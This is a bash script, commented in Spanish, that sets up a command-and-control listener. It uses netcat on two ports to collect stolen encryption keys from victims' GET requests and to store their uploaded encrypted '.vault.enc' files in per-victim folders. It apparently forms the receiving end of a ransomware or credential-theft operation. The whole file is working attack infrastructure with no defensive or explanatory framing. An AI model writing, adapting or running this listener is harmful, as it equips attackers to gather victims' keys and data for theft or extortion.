#!/bin/bash
# C2 listener:
#   GET  /?k=KEY&v=VICTIM_IP  -> loggea clave
#   POST /vault/VICTIM_IP     -> guarda .vault.enc en vaults/VICTIM_IP/

PORT=${1:-9090}
LOG="stolen_keys.log"
VAULTS_DIR="vaults"
HTTP_200=$'HTTP/1.1 200 OK\r\nContent-Length: 0\r\nConnection: close\r\n\r\n'

mkdir -p "$VAULTS_DIR"

handle_get() {
        local url="$1"
        local key victim ts

        key=$(grep -oP '(?<=k=)[^& ]+' <<< "$url")
        victim=$(grep -oP '(?<=v=)[^& ]+' <<< "$url")
        [[ -z "$key" ]] && return

        ts=$(date '+%Y-%m-%d %H:%M:%S')
        echo "[+] $ts  victim=$victim  key=$key" | tee -a "$LOG"
}

handle_post() {
        local tmpfile="$1" url="$2"
        local victim victim_dir offset body_start size ts

        victim=$(grep -oP '(?<=/vault/)[^/ ]+' <<< "$url")
        [[ -z "$victim" ]] && victim="unknown"

        victim_dir="$VAULTS_DIR/$victim"
        mkdir -p "$victim_dir"

        # Busca el byte-offset del separador \r\n\r\n (fin de headers HTTP)
        offset=$(grep -boa $'\r\n\r\n' "$tmpfile" 2>/dev/null | head -1 | cut -d: -f1)
        if [[ -z "$offset" ]]; then
                echo "[-] separador no encontrado en request de $victim" >&2
                return
        fi

        body_start=$(( offset + 4 ))
        dd if="$tmpfile" bs=1 skip="$body_start" of="$victim_dir/.vault.enc" 2>/dev/null

        size=$(stat -c%s "$victim_dir/.vault.enc" 2>/dev/null || echo "?")
        ts=$(date '+%Y-%m-%d %H:%M:%S')
        echo "[+] $ts  vault=$victim_dir/.vault.enc  size=${size}B" | tee -a "$LOG"
}

handle_connection() {
        local tmpfile="$1"
        local request_line method url

        request_line=$(head -1 "$tmpfile")
        method=$(awk '{print $1}' <<< "$request_line" | tr -d '\r')
        url=$(awk '{print $2}' <<< "$request_line")

        case "$method" in
                GET)  handle_get  "$url" ;;
                POST) handle_post "$tmpfile" "$url" ;;
                *)    echo "[-] metodo desconocido: $method" >&2 ;;
        esac
}

key_listener() {
        local tmpfile
        tmpfile=$(mktemp)
        trap "rm -f $tmpfile" EXIT

        echo "[*] Keys  en :9090"
        while true; do
                printf '%s' "$HTTP_200" | nc -nlvp 9090 > "$tmpfile" 2>/dev/null
                handle_get "$(awk 'NR==1{print $2}' "$tmpfile")"
        done
}

vault_listener() {
        local tmpfile
        tmpfile=$(mktemp)
        trap "rm -f $tmpfile" EXIT

        echo "[*] Vaults en :9091"
        while true; do
                printf '%s' "$HTTP_200" | nc -nlvp 9091 > "$tmpfile" 2>/dev/null
                local url
                url=$(awk 'NR==1{print $2}' "$tmpfile")
                handle_post "$tmpfile" "$url"
        done
}

main() {
        echo "[*] C2 iniciado. Logs en $LOG, vaults en $VAULTS_DIR/"
        key_listener &
        vault_listener
}

main
